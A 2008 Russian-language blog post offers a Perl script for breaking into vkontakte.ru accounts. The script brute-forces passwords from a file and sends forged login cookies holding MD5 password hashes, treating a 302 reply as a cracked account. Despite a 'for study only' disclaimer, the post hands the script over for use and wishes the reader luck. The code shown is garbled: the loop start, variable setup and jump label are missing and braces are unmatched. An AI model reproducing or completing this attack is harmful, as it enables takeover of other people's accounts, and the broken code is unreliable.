Главная » 2008»Août»26 » Взлом аккаунта vkontakte.ru by Артур DTR[Inferno] Судариков
22:47
Взлом аккаунта vkontakte.ru by Артур DTR[Inferno] Судариков
Вот выкладываю код для взлома аккаунта вконтакте. Поможет только людям
разбирающимся в perl и просто системщикам и вебмастерам, ну и самоучкам
всяким.
Скрипт представляется для информационного ознакомления, изучения: скриптов написанных на perl и защиты сайта вконтакте; использование этого скрипта только на ваш страх и риск. Автор статьи не несет ответственности за его использование.
Скрипт
работает просто: используется простой bruteforce (перебор
вариантов(паролей)), в этом скрипте перебор паролей, которые
расположены в файле. Человек с руками может сделать из этого скрипта
более модифицированный вариант.
Так, что ловите.
#!/usr/bin/perl
use IO::Socket; use MD5; use threads; use threads::shared; my @pass : shared;
$md5 = MD5->hexhash($pass); $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80); print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". "Host: vkontakte.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: Mozillo\r\n". "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". "Connection: close\r\n\r\n"; $answ = <$sock>; close $sock; print "$pass $answ"; if ($answ =~ /302/){ open (good, '>>good.txt'); print good "$id:$pass:$md5\n"; print "$id:$pass:$md5\n"; close good; exit;} }
}
goto Next;
sub pass { my (@mas); while ( ){ push @mas, $_; last if (@mas == 400); } chomp @mas; return @mas; }
Желаю удачи!
Автор статьи Артур DTR[Inferno] Судариков. По материалам форума античат.ру. Подробности размещения статьи на Вашем портале - http://dtr.do.am/index/0-4
